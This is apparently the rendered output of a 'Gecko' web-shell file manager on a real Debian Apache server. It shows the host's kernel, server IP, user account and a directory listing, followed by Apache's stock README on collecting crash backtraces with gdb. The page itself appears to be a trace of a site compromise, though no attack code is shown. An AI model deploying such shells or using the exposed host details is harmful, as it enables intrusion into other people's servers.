Gecko [ www.foryou-vip.com ]

Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains : Cant Read [ /etc/named.conf ]
User : www-data

Name	Size	Permission	Date
examples	[ DIR ]	drwxr-xr-x	2024-03-12 22:00
NEWS.Debian.gz	4.55 KB	-rw-r--r--	2019-10-13 17:39
PACKAGING.gz	6.83 KB	-rw-r--r--	2019-10-13 17:39
README.Debian.gz	5.83 KB	-rw-r--r--	2018-11-03 12:34
README.backtrace	1.27 KB	-rw-r--r--	2019-10-13 17:39
README.multiple-instances	3.86 KB	-rw-r--r--	2019-06-16 11:49
changelog.Debian.gz	61.45 KB	-rw-r--r--	2022-03-18 13:54
changelog.gz	74.7 KB	-rw-r--r--	2016-12-16 16:45
copyright	20.22 KB	-rw-r--r--	2019-10-13 17:39

Rename

If apache crashes or freezes, it is helpful if you include a backtrace in the
bug report.

In case of a crash, do the following:

1) Install the packages apache2-dbg libapr1-dbg libaprutil1-dbg gdb.

2) Add "CoreDumpDirectory /var/cache/apache2/core" to your apache configuration.

3) Execute as root:
	mkdir -p /var/cache/apache2/core
	chown www-data: /var/cache/apache2/core
	/etc/init.d/apache2 stop
	ulimit -c unlimited
	/etc/init.d/apache2 start

4) Do whatever it takes to reproduce the crash. There should now be the file
/var/cache/apache2/core .

5) If you use a forking MPM (e.g. mod_prefork), execute:

gdb /usr/sbin/apache2 /var/cache/apache2/core/core
	(gdb) bt full
	...
	(gdb) quit

If you use a threaded mpm (mod_worker, mod_event), execute:

gdb /usr/sbin/apache2 /var/cache/apache2/core/core
        (gdb) thread apply all bt full
	...
	(gdb) quit

Include the backtrace in the bug report.

6) Undo the change to your configuration, uninstall the debug packages, remove
/var/cache/apache2/core

In case of a hanging process, you don't need a core dump and you can skip steps 2 and 3.

4) Reproduce the problem. Get the pid of a hanging process.

5) Start gdb with

gdb -p pid

and continue as described above. It may also be helpful to include the output of

strace -p pid